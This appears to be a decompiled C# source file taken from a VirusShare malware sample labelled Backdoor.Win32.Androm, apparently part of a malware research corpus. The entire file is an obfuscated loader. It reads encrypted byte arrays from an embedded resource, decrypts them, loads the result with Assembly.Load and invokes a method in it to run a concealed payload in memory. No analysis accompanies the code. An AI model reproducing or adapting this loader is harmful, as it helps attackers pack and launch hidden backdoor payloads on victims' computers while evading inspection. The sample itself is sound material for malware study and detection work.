// Decompiled with JetBrains decompiler // Type:  // Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null // MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C // Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe using Microsoft.VisualBasic.CompilerServices; using System; using System.IO; using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.Serialization.Formatters.Binary; using System.Threading; public sealed class \u0008 { public static byte[] \u0002(object _param0) { try { MemoryStream serializationStream = new MemoryStream(); new BinaryFormatter().Serialize((Stream) serializationStream, RuntimeHelpers.GetObjectValue(_param0)); return serializationStream.ToArray(); } catch (Exception ex) { ProjectData.SetProjectError(ex); Exception exception = ex; Console.WriteLine(\u000F.\u0002(580699096), (object) exception.ToString()); ProjectData.ClearProjectError(); } return (byte[]) null; } public static object \u0002() { \u000E.\u0006 = \u0006.\u0002((byte[]) NewLateBinding.LateIndexGet(\u000E.\u0002.GetObject(\u000F.\u0002(580699127)), new object[1] { (object) 1 }, (string[]) null), \u000F.\u0002(580699037)); object obj; return obj; } [STAThread] public static void \u0002() { Thread.Sleep(0); \u0008.\u0002(); Assembly.Load(\u000E.\u0006).GetType(\u0006.\u0002(\u000F.\u0002(580699019), \u000F.\u0002(580699062))).GetMethod(\u0006.\u0002(\u000F.\u0002(580699051), \u000F.\u0002(580698966))).Invoke((object) null, new object[2] { (object) \u0006.\u0002((byte[]) NewLateBinding.LateIndexGet(\u000E.\u0002.GetObject(\u000F.\u0002(580699127)), new object[1] { (object) 0 }, (string[]) null), \u000F.\u0002(580698955)), (object) \u000E.\u0008 }); } }